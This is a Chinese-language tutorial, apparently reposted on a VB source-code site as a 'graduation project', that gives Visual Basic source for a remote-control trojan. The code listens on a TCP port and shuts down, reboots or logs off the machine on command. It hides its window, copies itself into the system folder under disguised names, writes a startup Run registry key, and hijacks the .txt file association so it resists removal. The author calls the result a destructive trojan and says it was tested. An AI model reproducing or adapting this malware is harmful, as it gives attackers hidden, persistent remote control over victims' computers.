【VB开源代码栏目提醒】:网学会员在VB开源代码频道为大家收集整理了“用VB写的一个木马程序 - 毕业设计“提供大家参考,希望对大家有所帮助!
用
VB写的一个木马程序 2008-02-05 17:44 首先新建一工程名为Server新建一个窗体Name为Server在窗体中加入一个winsock控件Name设为sckServer协议设为默认的TCPIP协议。
接下来我们回来Server窗体模块中添加如下
代码 Private Sub form_Load With Me .sckServer.LocalPort 8888本地端口呵呵建议用一个比较大一点的端口这样可以避免端口冲突 .sckServer.Listen 开始监听 End With End Sub 接受客户端的连接请求。
Private Sub sckServer_ConnectionRequestByVal requestID As Long With Me If .sckServer.State sckClosed Then .sckServer.Close .sckServer.Accept requestID End With End Sub 下面我们来建立客户端
程序新建一个工程名为Client把窗体名为Client在上面加入一个winsock控件名为sckClient协议为TCPIP协议。
再加一个按钮cmdConnect在窗体模块中加入
代码 Private Sub form_Load With Me .sckClient.RemoteHost 127.0.0.1设置远程IP本例设为本机。
这个可以自己家的例如用一个TEXT来设定把上面的哪一个反一下吗就对了吗在加几个TEXE框就OK了 .sckClient.RemotePort 8888 远程端口就为server中的设置一样. End With End Sub Private sub cmdConnect_Click SckClient.Connect End sub 至此单击Connect按钮我们的两个工程已经可以进行通信了但看不见你可以在Client中的sckClient_Connect事件中加入
代码debug.print “Connetion successful”来查看。
这仅是第一步一点
工作也做不了下面我们来为它们添加功能。
为了简单本文章只实现一点小小的功能―――关机重启注销。
好开始吧 在Server工程中新建一个模块Name为modApi这个模快为一些API函数添加如下API函数 Public Declare Function ExitWindowXXX Lib user32 Alias ExitWindowXXX ByVal uFlags As Long ByVal dwReserved As Long As Long Public Const EWX_LOGOFF 0 Public Const EWX_REBOOT 2 Public Const EWX_SHUTDOWN 1 Public Declare Function ClipCursor Lib user32 Alias ClipCursor lpRect As Any As Long Public Type RECT Left As Long Top As Long Right As Long Bottom As Long End Type 注在两个socket中编程中进行
通信的重要事件是DataArrival事件用于接收远程数据。
下面在Client工程的Client窗体中放入三个按钮分别为cmdExitcmdLogoffcmdReboot。
它们用于对远程的关机注销重启操作。
分别添加如下
代码 Private Sub cmdExit_Click Me.sckClient.SendData Exit End Sub Private Sub cmdLogoff_Click Me.sckClient.SendData Logoff End Sub Private Sub cmdReboot_Click Me.sckClient.SendData Reboot End Sub 全都是对服务端发出请求。
下面转到Server工程中在Server中添加sckServer的DataArrial事件接收客户端的请求。
Private Sub sckServer_DataArrivalByVal bytesTotal As Long Dim strData As String With Me 接收客户请求的信息 .sckServer.GetData strData Select Case strData Case Exit 关机 Call ExitWindowXXXEWX_SHUTDOWN 0 Case Reboot 重启 Call ExitWindowXXXEWX_REBOOT 0 Case Logoff 注销 Call ExitWindowXXXEWX_LOGOFF 0 End Select End With End Sub 好了到此我们已经实现功能了但还不行我们要它在背后运行。
这简单在Server中的form_Load事件中加入一句me.hide。
好这下看不见了但大家知道木马是一开机就自动运行了这又是为什么怎么实现的把它加入到注册表的启动组中对不错跟我来吧 回到Server工程中的modApi中加入如下API函数 Public Declare Function RegOpenKey Lib advapi32.dll Alias RegOpenKeyA ByVal hKey As Long ByVal lpSubKey As String phkResult As Long As Long Public Declare Function RegSetvalueEx Lib advapi32.dll Alias RegSetvalueExA ByVal hKey As Long ByVal lpvalueName As String ByVal Reserved As Long ByVal dwType As Long lpData As Any ByVal cbData As Long As Long Public Declare Function RegCreateKey Lib advapi32.dll Alias RegCreateKeyA ByVal hKey As Long ByVal lpSubKey As String phkResult As Long As Long Public Const REG_BINARY 3 Public Const REG_SZ 1 Public Const HKEY_LOCAL_MACHINE H80000002 Public Const HKEY_CLASSES_ROOT H80000000 写到
注册表启动组中的过程。
Public Sub StartupGroup Dim sKey As String Dim result As Long Dim hKeyID As Long Dim sKeyVal As String sKey Systrsy 启动组中的键找一个与系统文件相近的。
sKeyVal C:/windows/system/systrsy.exe 木马文件的路径可以用GetSystemDirectory来取得系统路径。
result RegOpenKeyHKEY_LOCAL_MACHINE _ Software/Microsoft/Windows/CurrentVersion/Run hKeyID If result 0 Then result RegSetvalueExhKeyID sKey 0 REG_SZ sKeyVal LensKey 1 End If End Sub 好就这样简单地完成了。
但是想过没有如果不是很菜的鸟到注册表中见一删我们苦苦的心血不就白白地浪费了吗不行还得想让他发现了删也删不掉。
请看下面的
代码 Public Sub WriteToTxt Dim result As Long Dim hKeyID As Long Dim skey As String Dim skeyVal As String skey txtfile/shell/open/command skeyVal C:/windows/system/txtView.exe result RegOpenKeyHKEY_CLASSES_ROOT skeyVal hKeyID If result 0 Then result RegSetvalueExhKeyID skey 0 REG_SZ skeyVal LenskeyVal 1 End If End Sub 肯定不少朋友一看就知道了原是与txt文件进行关联一点也不错但C:/windows/system/txtView.exe是哪里来的我们的木马是C:/windows/system/systrsy.exe呀。
这可是我们木马的分身了。
好回到Server工程的Server窗体的form_Load中加入如下
代码 Dim sCurrentPath As String sSystemDir As String sCurrentPath App.Path / App.EXEName .exe sSystemDir “C:/windows/system” On Error Resume Next 复制文件成
系统目录下的Systrsy.exe FileCopy sCurrentPath sSystemDir /Systrsy.exe On Error Resume Next 复制文件成系统目录下的txtView.exe FileCopy sCurrentPath sSystemDir /txtView.exe 调用 Call startupGroup Call WriteToTxt 判断程序是否下在运行 If App.PrevInstance Then 如果已经运行就退出。
End End If 好了写到这里一个破坏性木马已经诞生了我实验过还是比较好的一